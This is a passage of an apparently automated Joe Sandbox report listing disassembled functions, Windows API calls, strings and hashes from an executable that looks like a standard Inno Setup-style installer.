Unsetting NTFS compression on file: %s, xrefs: 00470727
Setting NTFS compression on file: %s, xrefs: 0047070F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on file: %s$Unsetting NTFS compression on file: %s
API String ID: 1452528299-3038984924
Opcode ID: d7860faf63ba55006ae41e3c439ba0f952fed5b92e6b4a654d15771b21c1c974
Instruction ID: 516ba9922c05d2884c901261e3297babd46d2414ea2f30b5c6a01ed0c8da25d4
Opcode Fuzzy Hash: d7860faf63ba55006ae41e3c439ba0f952fed5b92e6b4a654d15771b21c1c974
Instruction Fuzzy Hash: 06016721D0924896CB08D7AD94412DDBBA49F49304F44C5AFE459E7382DB781A098BAA

Function 00455D9C Relevance: 6.0, APIs: 4, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegDeleteValueA.ADVAPI32(?,00000000,00000082,00000002,00000000,?,?,00000000,0045B7AE,?,?,?,?,?,00000000,0045B7D5), ref: 00455DD8
RegCloseKey.ADVAPI32(00000000,?,00000000,00000082,00000002,00000000,?,?,00000000,0045B7AE,?,?,?,?,?,00000000), ref: 00455DE1
RemoveFontResourceA.GDI32(00000000), ref: 00455DEE
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00455E02

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseDeleteFontMessageNotifyOpenRemoveResourceSendValue
String ID:
API String ID: 4283692357-0
Opcode ID: 31926d3b7233cd0d42d7794d649c612f69a0037c8a0cd025a9d084ab4d481536
Instruction ID: 71ccc6c4ad223293e5fa71c014565a1ca4f3f808124b73c5b0663eb55104ffd2
Opcode Fuzzy Hash: 31926d3b7233cd0d42d7794d649c612f69a0037c8a0cd025a9d084ab4d481536
Instruction Fuzzy Hash: 57F0BEB174070036EA10B6BAAC4BF2B26CC8F54745F10883ABA00EF2C3D97CDC04962D

Function 0046FF44 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000), ref: 0046FF95

Strings

Unsetting NTFS compression on directory: %s, xrefs: 0046FF7B
Setting NTFS compression on directory: %s, xrefs: 0046FF63
Failed to set NTFS compression state (%d)., xrefs: 0046FFA6

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on directory: %s$Unsetting NTFS compression on directory: %s
API String ID: 1452528299-1392080489
Opcode ID: 0d8f965f1f337f46f955c7ee94d892778df29f99908d1ca1613bd7e3ecc8a71d
Instruction ID: a045838dcc4f37756fc34b517471cd96220c37e591c9b42891c7cb6a53decabf
Opcode Fuzzy Hash: 0d8f965f1f337f46f955c7ee94d892778df29f99908d1ca1613bd7e3ecc8a71d
Instruction Fuzzy Hash: E4016721E0825856CB04D7ADA4412DDBBA49F4E314F54C1BFA495D7286EB780A0C879A

Function 0047CE9C Relevance: 6.0, APIs: 4, Instructions: 35sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0047CEBD
GetLastError.KERNEL32 ref: 0047CEC7
GetTickCount.KERNEL32 ref: 0047CED1
Sleep.KERNEL32(00000032), ref: 0047CEE1

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: dfa0650b41a5fbb69b4da717be5ba207ba5450cdb50d9376c11a56b5a3797e8a
Instruction ID: 5023ad3def2f1da38b899e91e1387ff360f0e65e610db7639cf4f02af7769762
Opcode Fuzzy Hash: dfa0650b41a5fbb69b4da717be5ba207ba5450cdb50d9376c11a56b5a3797e8a
Instruction Fuzzy Hash: F8E0ED6235919086E63172BF18C25BF4948CBC23A5B28493FE088D6282C9584C0A873E

Function 00478358 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,?,?,00000001,00000000,00000002,00000000,0048141C,?,?,?,?,?,00498E2F,00000000), ref: 00478361
OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,0048141C,?,?,?,?,?,00498E2F), ref: 00478367
GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,0048141C), ref: 00478389
CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,0048141C), ref: 0047839A

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: d60bb82440296f468b4e9264c8736cc4fa795d9297d640bad5b09a11fbf97270
Instruction ID: ec998ea276eaf377f210c997b943063a3ee056d2675e5df16b8613807e0ae048
Opcode Fuzzy Hash: d60bb82440296f468b4e9264c8736cc4fa795d9297d640bad5b09a11fbf97270
Instruction Fuzzy Hash: EEF037716443007BD700E6B5CD81E5B73DCEB44754F04483E7E94D71C1EA79D9089726

Function 00424240 Relevance: 6.0, APIs: 4, Instructions: 26windowCOMMON

Download Yara Rule

APIs

GetLastActivePopup.USER32(?), ref: 0042424C
IsWindowVisible.USER32(?), ref: 0042425D
IsWindowEnabled.USER32(?), ref: 00424267
SetForegroundWindow.USER32(?), ref: 00424271

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$ActiveEnabledForegroundLastPopupVisible
String ID:
API String ID: 2280970139-0
Opcode ID: 13ade4494cb6c1f977c60239d5fd74f0629ce9c5699ef6f3eeab0a2299bd7f47
Instruction ID: 2c5ff33fc315f6eb6fab431e1453bcb0e66c5aaaa6596e28cc8dc28fd0b03a53
Opcode Fuzzy Hash: 13ade4494cb6c1f977c60239d5fd74f0629ce9c5699ef6f3eeab0a2299bd7f47
Instruction Fuzzy Hash: C7E0EC61B02672D6AE31FA7B2881A9F518C9D45BE434641EBBC04FB38ADB2CDC1141BD

Function 0047A36C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 210registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,0047BC55,?,00000000,00000000,00000001,00000000,0047A609,?,00000000), ref: 0047A5CD

Strings

Failed to parse "reg" constant, xrefs: 0047A5D4
Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 0047A441

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Close
String ID: Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant
API String ID: 3535843008-1938159461
Opcode ID: ff15b3a6cec5d22ab61080e9116f6b7dde54b3ea1da144d43bbdb493181e6094
Instruction ID: 103f4a143b0119ba066f3ec327db5bbf5ada2b92893d8531b8727a73284c7c03
Opcode Fuzzy Hash: ff15b3a6cec5d22ab61080e9116f6b7dde54b3ea1da144d43bbdb493181e6094
Instruction Fuzzy Hash: B9814274E00108AFCF10DFA5D485ADEBBF9AF88314F50816AE854B7391DB399E05CB99

Function 004836E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,0048386A,?,00000000,004838AB,?,?,?,?,00000000,00000000,00000000,?,0046BDF1), ref: 00483719
SetActiveWindow.USER32(?,00000000,0048386A,?,00000000,004838AB,?,?,?,?,00000000,00000000,00000000,?,0046BDF1), ref: 0048372B

Strings

Will not restart Windows automatically., xrefs: 0048384A

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$ActiveForeground
String ID: Will not restart Windows automatically.
API String ID: 307657957-4169339592
Opcode ID: 42c4117fe9f42618f3fa8ab4db5063fd04075d7b889279c417d92162234f37a9
Instruction ID: d5b7be76e9212aa441480b1bdbd102f68b6527a9126a01235f58b6c089baa19a
Opcode Fuzzy Hash: 42c4117fe9f42618f3fa8ab4db5063fd04075d7b889279c417d92162234f37a9
Instruction Fuzzy Hash: E2412170248240AFD711FF68D896BAD7BE4A715B09F244CB7F840473A2D27C9A459B1E

Function 00476500 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 105timeCOMMON

Download Yara Rule

APIs

LocalFileTimeToFileTime.KERNEL32(?,?,?,00000000,00000000,00476633,?,00000000,00476644,?,00000000,0047668D), ref: 00476604
SetFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,00000000,00000000,00476633,?,00000000,00476644,?,00000000,0047668D), ref: 00476618

Strings

Extracting temporary file: , xrefs: 00476540

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FileTime$Local
String ID: Extracting temporary file:
API String ID: 791338737-4171118009
Opcode ID: 5e1909f1f33528658f0ef4094d9cc81abb2b77ff5a727c435f5d22f20dbd3e61
Instruction ID: e086036456be44248c99ad119955be4c85a4518b1c9a7c71b2334ff27603e677
Opcode Fuzzy Hash: 5e1909f1f33528658f0ef4094d9cc81abb2b77ff5a727c435f5d22f20dbd3e61
Instruction Fuzzy Hash: 07418770E006496FCB01DFA5C892EAFBBB9EF09304F51847AF914A7291D6789905CB58

Function 0046CC64 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

Failed to proceed to next wizard page; showing wizard., xrefs: 0046CD90
Failed to proceed to next wizard page; aborting., xrefs: 0046CD7C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID:
String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
API String ID: 0-1974262853
Opcode ID: 02ca1e2bdd952e3c7de43b259eb9cd19f0daa652bd3924f59340bef62ca181e8
Instruction ID: a639c7a90007e63433286ce4554b6d7c698017ea4e0e47f6de7538ddbde49788
Opcode Fuzzy Hash: 02ca1e2bdd952e3c7de43b259eb9cd19f0daa652bd3924f59340bef62ca181e8
Instruction Fuzzy Hash: 0031BC30604204EFD711EB59D989BAA7BF5EB05304F6500BBF0489B3A2D7786E84DB4A

Function 00478FEC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,004790D2,?,?,00000001,00000000,00000000,004790ED), ref: 004790BB

Strings

Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00479046
%s\%s_is1, xrefs: 00479064

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1598650737
Opcode ID: 5cf1c10046762414c55aaa5447d12f6a49fb08724fe2a025418b3bbe6795d0bc
Instruction ID: 400a3d5f9b6125f586a55e3f1e7b647841d59e58695aff76dcbf1fac74d6966e
Opcode Fuzzy Hash: 5cf1c10046762414c55aaa5447d12f6a49fb08724fe2a025418b3bbe6795d0bc
Instruction Fuzzy Hash: D6216170B142446FDB11DFAACC51ADEBBF8EB8D304F90847AE804E7381D6789E058B59

Function 00450168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 004501FD
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0045022E

Strings

open, xrefs: 00450221

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ExecuteMessageSendShell
String ID: open
API String ID: 812272486-2758837156
Opcode ID: ea446b968c091deb5619fe0c64f284e9fafe3e6cb185d1fb8701354efc215884
Instruction ID: 7f57506e0c07b49dd0b520b237e7736b759e9f4ed638734fb0c833ac5abbff07
Opcode Fuzzy Hash: ea446b968c091deb5619fe0c64f284e9fafe3e6cb185d1fb8701354efc215884
Instruction Fuzzy Hash: A1216074E00204AFDB10DFA9C896B9EBBF8EB44705F1081BAB404E7292D678DE45CA59

Function 00455290 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 0045532C
GetLastError.KERNEL32(0000003C,00000000,00455375,?,?,?), ref: 0045533D

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

Strings

<, xrefs: 004552E6

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: DirectoryErrorExecuteLastShellSystem
String ID: <
API String ID: 893404051-4251816714
Opcode ID: f2b6c2f03d8cdfddb0a6be6e5c8226378c77f31d8a62e2f07c4223a48a9de58a
Instruction ID: 92df0b2f1231c5c49ece4c570041ef31d6ed92e86db86b93cafb864a5026e18c
Opcode Fuzzy Hash: f2b6c2f03d8cdfddb0a6be6e5c8226378c77f31d8a62e2f07c4223a48a9de58a
Instruction Fuzzy Hash: 172167B0600609ABDB10EF65C8926AE7BE8AF44355F54403AFC44E7291D7789E49CB98

Function 00402584 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049B420,00000000,)), ref: 004025C7
RtlLeaveCriticalSection.KERNEL32(0049B420,0040263D), ref: 00402630

Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

), xrefs: 004025AE

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: )
API String ID: 2227675388-1084416617
Opcode ID: e007287126da8fa7f668c9e0dd370e3762efe765c6f58c3167b97aa7cf6c64ab
Instruction ID: 77bd95ba853a3ee3b707a504883d316aad751082ca23ba06a0d8aa2ba3da16af
Opcode Fuzzy Hash: e007287126da8fa7f668c9e0dd370e3762efe765c6f58c3167b97aa7cf6c64ab
Instruction Fuzzy Hash: E11104317042046FEB15AB796F5962B6AD4D795758B24087FF404F33D2DABD8C02929C

Function 00496C82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 00496CBD

Strings

/INITPROCWND=$%x , xrefs: 00496CE8
@, xrefs: 00496C88

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window
String ID: /INITPROCWND=$%x $@
API String ID: 2353593579-4169826103
Opcode ID: c795715ed3c8efd438480bc0f781c8f00083acd5c228b748e219496c145c1ee8
Instruction ID: 842359cbbd4b57163a29bfdf1a5f95bb33b9e2b7d5052559e85756976848a02d
Opcode Fuzzy Hash: c795715ed3c8efd438480bc0f781c8f00083acd5c228b748e219496c145c1ee8
Instruction Fuzzy Hash: 9C11A231B042489FDB01DFA4E841BAE7FE8EB48314F52847BE404E7292DB3CA905CB59

Function 00447414 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

SysFreeString.OLEAUT32(?), ref: 004474C6

Strings

NIL Interface Exception, xrefs: 00447468
Unknown Method, xrefs: 0044749F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: String$AllocByteCharFreeMultiWide
String ID: NIL Interface Exception$Unknown Method
API String ID: 3952431833-1023667238
Opcode ID: eaaa5532a95bbaa63f0b72a9291e33775e11d622c6162567185e6fee38e986d8
Instruction ID: eb0132878ffe7144b3db707554455947565e11d0cdd4dc78092451a8fec87e99
Opcode Fuzzy Hash: eaaa5532a95bbaa63f0b72a9291e33775e11d622c6162567185e6fee38e986d8
Instruction Fuzzy Hash: 8011B9706082089FEB10DFA58C52A6EBBBCEB09704F91407AF504F7681D77C9D01CB69

Function 004964F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,004965BC,?,004965B0,00000000,00496597), ref: 00496562
CloseHandle.KERNEL32(004965FC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,004965BC,?,004965B0,00000000), ref: 00496579

Part of subcall function 0049644C: GetLastError.KERNEL32(00000000,004964E4,?,?,?,?), ref: 00496470

Strings

D, xrefs: 0049653C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: D
API String ID: 3798668922-2746444292
Opcode ID: adb7c7053ebfc7d0a966cd6ec10b080588a365a345d02bb37a27a24bdf268564
Instruction ID: e7e346f596197b6f0184c015d01254f70025af9537202f9537602a1398b59792
Opcode Fuzzy Hash: adb7c7053ebfc7d0a966cd6ec10b080588a365a345d02bb37a27a24bdf268564
Instruction Fuzzy Hash: EF0152B1604248BFDB00DBA1DC42A9E7BACDF48714F52403AB504E7295D6785E05865D

Function 0042DD64 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56registryCOMMON

Download Yara Rule

APIs

